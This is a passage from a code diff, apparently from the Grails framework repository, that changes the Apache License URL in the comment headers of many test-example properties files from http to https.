--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_cs.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_cs.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_cs.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_cs.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_da.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_de.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_es.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_fr.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_it.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_ja.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_ja.properties
index 10abcd3873..c23f5d014b 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_nb.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_nl.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_pl.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_ru.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_sk.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_sk.properties
index 3baafcda8c..609b7e12c5 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_sk.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_sk.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_sv.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_th.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/gsp-layout/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/gsp-layout/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_cs.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_cs.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_cs.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_cs.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_da.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_de.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_es.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_fr.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_it.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_ja.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_ja.properties
index 10abcd3873..c23f5d014b 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_nb.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_nl.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_pl.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_ru.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_sk.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_sk.properties
index 3baafcda8c..609b7e12c5 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_sk.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_sk.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_sv.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_th.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/gsp-sitemesh3/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-spring-boot/app/src/main/resources/application.properties b/grails-test-examples/gsp-spring-boot/app/src/main/resources/application.properties
index aa6f5f8d4b..d53effd07c 100644
--- a/grails-test-examples/gsp-spring-boot/app/src/main/resources/application.properties
+++ b/grails-test-examples/gsp-spring-boot/app/src/main/resources/application.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-spring-boot/script/application.properties b/grails-test-examples/gsp-spring-boot/script/application.properties
index d3b2c33340..b677b62439 100644
--- a/grails-test-examples/gsp-spring-boot/script/application.properties
+++ b/grails-test-examples/gsp-spring-boot/script/application.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-data-service/grails-app/i18n/messages.properties b/grails-test-examples/hibernate5/grails-data-service/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
--- a/grails-test-examples/hibernate5/grails-data-service/grails-app/i18n/messages.properties
+++ b/grails-test-examples/hibernate5/grails-data-service/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages.properties
index 09d392c881..d71a1fc5cb 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_cs_CZ.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_da.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_de.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_es.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_fr.properties b/grails-test-examples/hibernate5/grails-database-per-tenant/grails-app/i18n/messages_fr.properties
